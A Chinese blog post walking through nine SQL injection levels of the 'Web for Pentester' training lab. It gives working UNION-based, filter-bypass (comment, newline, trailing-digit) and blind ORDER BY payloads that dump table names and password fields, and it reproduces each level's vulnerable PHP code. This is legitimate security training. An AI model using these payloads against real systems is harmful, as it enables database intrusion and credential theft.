首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Pentester之SQL过关纪实

Pentester之SQL过关纪实

作者头像
网络安全自修室
发布2020-08-21 15:12:42
4890
发布2020-08-21 15:12:42
举报

web for pentester

web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术,如:XSS跨站脚本攻击、SQL注入、目录遍历、命令注入、代码注入 、XML攻击、LDAP攻击、文件上传。靶场介绍可以查看官方网站[1]靶场环境搭建方法可以参考文章[2],先从SQL注入顺手练练

example1

http://192.168.132.131/sqli/example1.php?name=root //初看为字符串型

1.判断列数

http://192.168.132.131/sqli/example1.php?name=root' order by 5 --+ 成功 http://192.168.132.131/sqli/example1.php?name=root' order by 6 --+ 失败 列数为5

2.查询库名和版本号

http://192.168.132.131/sqli/example1.php?name=root%27%20union%20select%20database(),version(),user(),4,5 --+

得到库名为exercises ~~~~~~~ 数据库版本为5.1.66-0+squeeze1~~~~~~主机用户名:pentesterlab@localhost
3.查询库的表名
http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() --+

可以看到只有一张表为users

4.查询字段名(列名)

http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=‘users’ --+

得到5个列名分别为id,name,age,groupid,passwd

图像 5.png

5.查询所有数据

http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(id,' ',name,' ',age),group_concat(passwd),3,4,5 from users --+ 可以看到所有数据出来了

贴个源码

<?php

  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";  
    $result = mysql_query($sql);
    if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
  require_once '../footer.php';
?>

发现没有任何过滤..........

example2

http://192.168.132.131/sqli/example2.php?name=root%27%20or%201=1%20# 显示ERROR NO SPACE 看来是过滤了啥,执行不了,懒得试了看看源码

<?php
  require_once('../header.php');
  require_once('db.php');

    if (preg_match('/ /', $_GET["name"])) {
        die("ERROR NO SPACE");  
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
  require '../footer.php';
?>

有个preg_match函数过滤,preg_match — 执行一个正则表达式匹配

也就是过滤了空格,所以直接注释空格就好了

192.168.132.131/sqli/example2.php?name=root'/**/union/**/select/**/group_concat(id,name,age),2,3,4,5/**/from/**/users/**/%23

图像 8.png

example3

好生奇怪第三关直接可以用第二关的payload

192.168.132.131/sqli/example2.php?name=root'/**/union/**/select/**/group_concat(id,name,age),2,3,4,5/**/from/**/users/**/%23

直接爆出数据来 看看源码去

<?php
    require_once('../header.php');
  require_once('db.php');
    if (preg_match('/\s+/', $_GET["name"])) {
        die("ERROR NO SPACE");  
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
    require '../footer.php';
?>

这个显得更加高级一点

example4

这关换成id了,http://192.168.132.131/sqli/example4.php?id=2%20order%20by%205# 一试发现是数字型注入,老办法来,直接给出payload

http://192.168.132.131/sqli/example4.php?id=2%20union%20select%20group_concat(id,name,age,passwd),2,3,4,5%20from%20users

看看源码

<?php
  require_once('../header.php');
  require_once('db.php');
  $sql="SELECT * FROM users where id=";
    $sql.=mysql_real_escape_string($_GET["id"])." ";
    $result = mysql_query($sql);
    

    if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr>

        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
    require '../footer.php';
?>

有个过滤函数,mysql_real_ecape_string()对特殊符号转义,但这数字型没有特殊符号,就绕过了

example5

额,上题payload同样可以适用

http://192.168.132.131/sqli/example5.php?id=2%20union%20select%20group_concat(id),2,3,4,5%20from%20users#

看看源码

<?php

  require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/^[0-9]+/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"] ;
    
    $result = mysql_query($sql);

    if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
    require '../footer.php';
?>

正则表达,匹配非数字型的过滤,高级一点而已,同样绕过

example6

有点迷,不知道怎么过滤的,猜测是有 /[0-9]+/ 之类的过滤。根据上一题,猜测是只匹配了$,于是在#后面加上个数字吧,看下源码

<?php

   require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/[0-9]+$/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"] ;

    
    $result = mysql_query($sql);


if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
    require '../footer.php';
?>

/[0-9]+$/匹配末尾为数字就可以了,直接给出payload

http://192.168.132.131/sqli/example6.php?id=2%20union%20all%20select%201,group_concat(id),3,4,5%20from%20users--+%201

example7

试了几个都没用,看看源码

<?php

  require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"];
    
    $result = mysql_query($sql);

    if ($result) {
        ?> 
        <table class='table table-striped'> 
      <tr> <th> id</th> <th> name</th> <th> age</th> </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
    require '../footer.php';
?>

发现/m可以匹配多行

查到%0A可以结尾每行,试试上payload

http://192.168.132.131/sqli/example7.php?id=2%0aunion%0aall%0aselect%0a1,group_concat(name),3,4,5%0afrom%0ausers# 直接爆出来

example8

<?php

  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users ORDER BY `";
    $sql .= mysql_real_escape_string($_GET["order"])."`";
    $result = mysql_query($sql);
    
    if ($result) {
        ?> 
        <table  class='table table-striped'> 
        <tr> 
            <th> <a href="example8.php?order=id"> id</th> 
            <th> <a href="example8.php?order=name"> name</th> 
            <th> <a href="example8.php?order=age"> age</th> 
        </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
    require '../footer.php';
?>

看了源码直接丢sqlmap里跑吧!

http://192.168.132.131/sqli/example8.php?order=id`, (select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end)=1%23

example9

?php
  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users ORDER BY ";
  $sql .= mysql_real_escape_string($_GET["order"]);
    $result = mysql_query($sql);
    if ($result) {
        ?> 
        <table class='table table-striped'> 
        <tr> 
            <th> <a href="example9.php?order=id"> id</th> 
            <th> <a href="example9.php?order=name"> name</th> 
            <th> <a href="example9.php?order=age"> age</th> 
        </tr> 
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr> ";
                echo "<td> ".$row['id']."</td> ";
                echo "<td> ".$row['name']."</td> ";
                echo "<td> ".$row['age']."</td> ";
            echo "</tr> ";
        }   
        echo "</table> ";
    }
  require '../footer.php';
?>

同理直接上payload

http://192.168.132.131//sqli/example9.php?order=(select CASE WHEN (SELECT ASCII(SUBSTRING(passwd, 1, 1)) FROM users where name = 0x726f6f74) = 98 THEN age ELSE id END)%23

参考资料

[1]

官方网站: "https://pentesterlab.com/"

[2]

搭建方法介绍: "https://blog.csdn.net/Jone_Dom/article/details/89502369"

为你铺好的HACKWAY

长按扫码上车

你点的每个在看,我都认真当成了喜欢

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-08-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • web for pentester
    • example1
      • 1.判断列数
      • 2.查询库名和版本号
      • 3.查询库的表名
      • 4.查询字段名(列名)
      • 5.查询所有数据
    • example2
      • example3
        • example4
          • example5
            • example6
              • example7
                • example8
                  • example9
                    • 参考资料
                    相关产品与服务
                    网站渗透测试
                    网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档